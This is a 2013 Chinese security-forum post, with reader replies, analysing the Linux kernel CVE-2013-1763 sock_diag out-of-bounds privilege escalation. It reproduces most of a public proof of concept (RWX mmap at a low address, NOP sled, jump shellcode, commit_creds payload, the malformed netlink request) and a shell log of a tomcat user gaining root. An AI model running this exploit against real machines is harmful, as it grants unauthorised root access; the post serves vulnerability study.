首页
社区
课程
招聘
[原创]Linux Kernel CVE-2013-1763 Local Privilege Escalation Vulnerability 利用分析
2013-7-28 22:43 4639

[原创]Linux Kernel CVE-2013-1763 Local Privilege Escalation Vulnerability 利用分析

2013-7-28 22:43
4639
近日闲的蛋疼, 刚开始把自己的Ubuntu执行命令sudo apt-get remove libc6, 然后又重新编内核,重新装各种东西,最终终于看到图形界面.
然后忽然网上出现了apache struts2的漏洞,又在思考tomcat的帐号在linux平台上如何get root.
于是准备搭环境自己黑自己一把.

上网搜了一下,最新的提权的漏洞是CVE-2013-1763, 影响的版本具多, 有现成的poc, 值得一试.

(1)漏洞描述

系统在处理sock_diag_handlers数组的时候, 未对传入的值进行验证, 从而导致越界,进而导致可执行代码的漏洞.
未授权用户可以通过执行代码, 得到root权限.

(2)漏洞产生的原因
首先看sock_diag_handlers的定义
static struct sock_diag_handler *sock_diag_handlers[AF_MAX];  //可以看出,这个指针数组最大为AF_MAX AF_MAX = 41.

在/net/core/sock_diag.c中有如下代码,

static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh)
{
        int err;
        struct sock_diag_req *req = NLMSG_DATA(nlh);
        struct sock_diag_handler *hndl;

        if (nlmsg_len(nlh) < sizeof(*req))
                return -EINVAL;

        hndl = sock_diag_lock_handler(req->sdiag_family);//这里传入sdiag_family的值,然后返回sock_diag_handlers中存放的hanlder.我们看一下sock_diag_lock_handler函数
        if (hndl == NULL)
                err = -ENOENT;
        else
                err = hndl->dump(skb, nlh);
        sock_diag_unlock_handler(hndl);

        return err;
}
----
static inline struct sock_diag_handler *sock_diag_lock_handler(int family)
{
        if (sock_diag_handlers[family] == NULL)
                request_module("net-pf-%d-proto-%d-type-%d", PF_NETLINK,
                                NETLINK_SOCK_DIAG, family);

        mutex_lock(&sock_diag_table_mutex);
        return sock_diag_handlers[family]; //这个函数没有对传入的family的值的范围,进行验证,从而造成数组越界.
}

---
我们知道了漏洞产生的原因,接下来看漏洞是如何利用的呢, 我们通过网上出现的poc来分析.

(3)漏洞的利用.
人们都说漏洞的利用是一门艺术, 确实是这样, 仅从上述的内容分析,我们只知道,当会导致数组越界,从而导致系统crash.
如果要利用的话,需要对上下文环境有足够的了解,需要对整个系统进程的内存布局有个足够的了解.
hndl = sock_diag_lock_handler(req->sdiag_family);//这里传入sdiag_family的值,然后返回sock_diag_handlers中存放的hanlder.我们看一下sock_diag_lock_handler函数
if (hndl == NULL)
    err = -ENOENT;
else
    err = hndl->dump(skb, nlh);

上述代码中,我们知道,我们可以指定数组读取的内容,并把值返回给hndl,接下来我们看hndl的结构,
struct sock_diag_handler {
        __u8 family;//
        int (*dump)(struct sk_buff *skb, struct nlmsghdr *nlh);
};

看到这时,我们豁然开朗,只要我们伪造handler的结构,并赋予dump函数指针相关的值,我们可以指定执行到我们的地址了.
此时内存的布局如下,
[handler1]
[handler2]
......
[handler40]
......
[nl_table]
......
//至于为啥是这样呢,我是看到poc才知道是这样的.悲剧
我们继续看nl_table的结构,
67 struct netlink_table {
 68         struct nl_portid_hash   hash; //取回这个值
 69         struct hlist_head       mc_list;
 70         struct listeners __rcu  *listeners;
 71         unsigned int            flags;
 72         unsigned int            groups;
 73         struct mutex            *cb_mutex;
 74         struct module           *module;
 75         void                    (*bind)(int group);
 76         int                     registered;
 77 };

如果我们能够在内存中取得hash的值,可以通过指定family,将这个nl_table中的hash的值做为句柄返回.
我们继续看hash的结构是nl_portid_hash
54 struct nl_portid_hash {
 55         struct hlist_head       *table; 四个字节
 56         unsigned long           rehash_time; //也是四个字节.0x00012b59//这个值在我们的那个范围内.
 57 
 58         unsigned int            mask;
 59         unsigned int            shift;
 60 
 61         unsigned int            entries;
 62         unsigned int            max_shift;
 63 
 64         u32                     rnd;
 65 };

如果将hash的值返回,rehash_time即对应dump函数的地址,
而如何将hash的值返回呢, 我们需要看下nl_table距离sock_diag_handlers多远
family = (nl_table-sock_diag_handlers)/4
我们指定特定的family的值,即能将hash的值返回.
bitnami@domU-12-31-39-10-6A-AA:~$ sudo cat /proc/kallsyms | grep sock_diag_handlers
c0ae9be0 b sock_diag_handlers

bitnami@domU-12-31-39-10-6A-AA:/tmp$ sudo cat /proc/kallsyms | grep nl_table
c0ae9e44 b nl_table

family的值为(c0ae9e44-c05b8fd0)/4 = 153.

所以我们指定family的值为153时,即可将hash的值作为handler返回.

 我们看下rehash_time的值,
(gdb) x/32x 0xc0ae9e44(nl_table的地址)
0xc0ae9e44:	0xe5c90800	0x00000000	0xc0933d4c	0x00000000
0xc0ae9e54:	0x00000000	0x00000000	0x00000000	0xc09443d8
0xc0ae9e64:	0xc09443d8	0xc0949498	0xc0949498	0xc0949778
0xc0ae9e74:	0xc0949778	0xc09495f8	0xc09495f8	0xc093e9f8
0xc0ae9e84:	0xc093e9f8	0xc090faf8	0xc090faf8	0xc08ff058
0xc0ae9e94:	0xc08ff058	0xc0ae9e98	0xc0ae9e98	0xc0ae9ea0
0xc0ae9ea4:	0xc0ae9ea0	0xc0ae9ea8	0xc0ae9ea8	0xc0ae9eb0
0xc0ae9eb4:	0xc0ae9eb0	0xc0ae9eb8	0xc0ae9eb8	0xc0ae9ec0
(gdb) x/32x 0xe5c90800(hash)
0xe5c90800:	0xe3748ea8	0x00012b59(这个值即为rehash_time的值)	0x00000001	0x00000001
--
从上述内容来看,我们现在能跳到0x00012b59这个地址去执行了, 接下来我们只需要将这个地址填充我们的shellcode,即可
(从poc中有如下代码)

unsigned long mmap_start, mmap_size;
mmap_start = 0x10000; //从这个地址开始布置内存,
mmap_size = 0x120000;
printf("mmapping at 0x%lx, size = 0x%lx\n", mmap_start, mmap_size);
	
//映射这块地址空间,从而进行读写执行操作.
if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,
                MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
                printf("mmap fault\n");
                exit(1);
}
//将这个地址空间布满0x90的命令. 这块类似heap sprey...将这一大块内存都布满0x90...
memset((void*)mmap_start, 0x90, mmap_size);
/*
push ebp
mov ebp, esp
mov eax, 0x11111111 //\x11\x11\x11\x11是地址.
call eax
pop ebp
ret
*/
char jump[] = "\x55\x89\xe5\xb8\x11\x11\x11\x11\xff\xd0\x5d\xc3"; // jump_payload in asm
unsigned long *asd = &jump[4]; //我们得到这个\x11\x11\x11\x11的地址
*asd = (unsigned long)kernel_code;
//我们把这个地址改成kernel_code的地址,从而执行我们的kernel code.
//然后将这个jump拷贝到上述的共享内存的地方.
//这里布置完shellcode.
//提权的漏洞有一好处,就是shellcode可以用c语言来写...
//我们看下kernel_code,
int __attribute__((regparm(3)))
kernel_code()
{
	commit_creds(prepare_kernel_cred(0));
	return -1;
}
//这个代码就不解释了.
memcpy( (void*)mmap_start+mmap_size-sizeof(jump), jump, sizeof(jump));

//下面触发漏洞
struct {
		struct nlmsghdr nlh;
		struct unix_diag_req r;
	} req;
memset(&req, 0, sizeof(req));
req.nlh.nlmsg_len = sizeof(req);
req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
req.nlh.nlmsg_seq = 123456;
req.r.udiag_states = -1;
req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;
req.r.sdiag_family = 153; //这里传入我们上述知道的畸形的family的值,
//发送畸形的req,进而触发漏洞.
if ( send(fd, &req, sizeof(req), 0) < 0) {
		printf("bad send\n");
		close(fd);
		return -1;
}


至此告一段落..
还是那句话,漏洞的利用一门深奥的艺术.
没有对系统深刻的理解,写不出完美的利用.

最后看到自己把自己黑了,tomcat变成root,很是惊喜,激动

Enjoy the shell.
bash: no job control in this shell
tomcat@domU-12-31-39-10-6A-AA:/opt/bitnami/apache-tomcat/logs$ cd /tmp/
cd /tmp/
tomcat@domU-12-31-39-10-6A-AA:/tmp$ id;whoami;
id;whoami;
uid=999(tomcat) gid=999(tomcat) groups=999(tomcat)
tomcat
tomcat@domU-12-31-39-10-6A-AA:/tmp$ ./a.out
./a.out
Run: ./a.out Fedora|Ubuntu
tomcat@domU-12-31-39-10-6A-AA:/tmp$ ./a.out Ubuntu
./a.out Ubuntu
id;whoami;
uid=0(root) gid=0(root) groups=0(root)
root

----
(4)参考
http://www.securityfocus.com/bid/58137/exploit

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
点赞3
打赏
分享
最新回复 (14)
雪    币: 4534
活跃值: (897)
能力值: ( LV16,RANK:480 )
在线值:
发帖
回帖
粉丝
vessial(xee) 11 2013-7-28 22:52
2
0
顶!!!!
雪    币: 219
活跃值: (738)
能力值: (RANK:290 )
在线值:
发帖
回帖
粉丝
viphack 4 2013-7-29 01:07
3
0
出租~~
雪    币: 6
活跃值: (17)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zixian 2013-7-29 08:43
4
0
有意思哦
雪    币: 190
活跃值: (40)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
kxzjchen 2013-7-29 14:01
5
0
定顶顶爱爱爱
雪    币: 41
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
markro 2013-7-29 15:47
6
0
顶。学习,这个要仔细地读一下。
雪    币: 1626
活跃值: (138)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
neite 2013-7-29 18:02
7
0
Good thanks for share
雪    币: 427
活跃值: (1875)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
riusksk 41 2013-7-29 22:24
8
0
都搞Linux内核漏洞了,学习了
雪    币: 27
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
CoyLiu 2013-7-29 23:55
9
0
Mark。
雪    币: 339
活跃值: (133)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
地狱怪客 2 2013-7-30 13:22
10
0
MARK。
雪    币: 1839
活跃值: (295)
能力值: ( LV9,RANK:370 )
在线值:
发帖
回帖
粉丝
fosom 8 2013-7-30 16:46
11
0
顶!!!!
雪    币: 324
活跃值: (26)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
CYBER涛 1 2013-7-31 10:26
12
0
发现数组溢出不容易,能够用这个溢出执行到需要的代码段就是艺术啊~
雪    币: 688
活跃值: (40)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
virusest 2 2013-8-2 17:18
13
0
刚才看了下,分析的很好,就是有一个问题,就是数组越界后,挖掘者是怎么想到nl_table这个地址的,也就是说,为什么非要跳到这里来,按理来说,只要让sock_diag_handlers[family]越界,然后我map随便一个越界后的地址,写上跳转代码,非得要nl_table这块地址么?

理论上来说,找到了sock_diag_handlers的地址,只要传一个family>41的值,会返回一个地址,假设不为NULL,这个地址向上+4字节,是一个函数(*dump)的地址,系统会call这个函数,

举个例子,我找到了sock_diag_handlers的地址,然后在sock_diag_handlers+4*42(假设family=42)的地方做修改修改,应该也是可以的吧?
雪    币: 6
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lynudt 2015-4-10 10:29
14
0
为什么完全一样的内核,我用这个exploit就不行,运行了进程会死掉
雪    币: 88
活跃值: (335)
能力值: ( LV4,RANK:55 )
在线值:
发帖
回帖
粉丝
向往星空 1 2016-8-4 22:37
15
0
楼主,问你个问题,我使用的是centos,kernel 2.6.9 ,我看好多exp都是使用prepare_kernel_cred来提权,但是我运行都是提示没有这个符号?是不是由于内核版本的原因?cat kallsyms | grep prepare_kernel_cred检查了一下返回为空
游客
登录 | 注册 方可回帖
返回